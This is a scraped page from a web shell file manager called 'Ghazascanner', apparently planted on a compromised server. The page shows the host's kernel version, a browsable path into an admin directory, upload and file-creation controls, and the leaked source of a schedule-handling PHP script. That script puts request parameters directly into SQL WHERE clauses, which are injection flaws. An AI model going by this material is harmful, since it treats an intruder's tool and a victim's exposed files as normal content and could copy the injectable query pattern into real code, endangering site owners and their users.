@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux adweb87 2.6.32-754.el6.x86_64 #1 SMP Tue Jun 19 21:26:04 UTC 2018 x86_64
Current Path :
/
home
/
sanchung
/
public_html
/
admin
/
_schedule
/
Path :
Upload File :
New :
File
Dir
/home/sanchung/public_html/admin/_schedule/proc.php
<? include"../_setup.php"; switch($motion){ case"schedule_form": $_date = explode("-", $_POST[sdate]); $_year = $_date[0]; $_month = $_date[1]; $_POST[sdate] = str_replace("-", "", $_POST[sdate]); $_POST[time] = $_POST[time1].":".$_POST[time2]; $mysql->insert("adw_schedule", $_POST, 0); $lib->alert_go("", "../index.htm?amode=schedule&year=$_year&month=$_month"); break; case"schedule_modify": $_date = explode("-", $_POST[sdate]); $_year = $_date[0]; $_month = $_date[1]; $_POST[sdate] = str_replace("-", "", $_POST[sdate]); $_POST[time] = $_POST[time1].":".$_POST[time2]; $mysql->update("adw_schedule", $_POST, "where num='$_POST[num]'"); $lib->alert_go("", "../index.htm?amode=schedule&year=$_year&month=$_month"); break; case"schedule_delete": $mysql->delete("adw_schedule", "where num='$_GET[num]'", 0); $_date = explode("-", $_GET[sdate]); $_year = $_date[0]; $_month = $_date[1]; $lib->alert_go("", "../index.htm?amode=schedule&year=$_year&month=$_month"); break; } ?>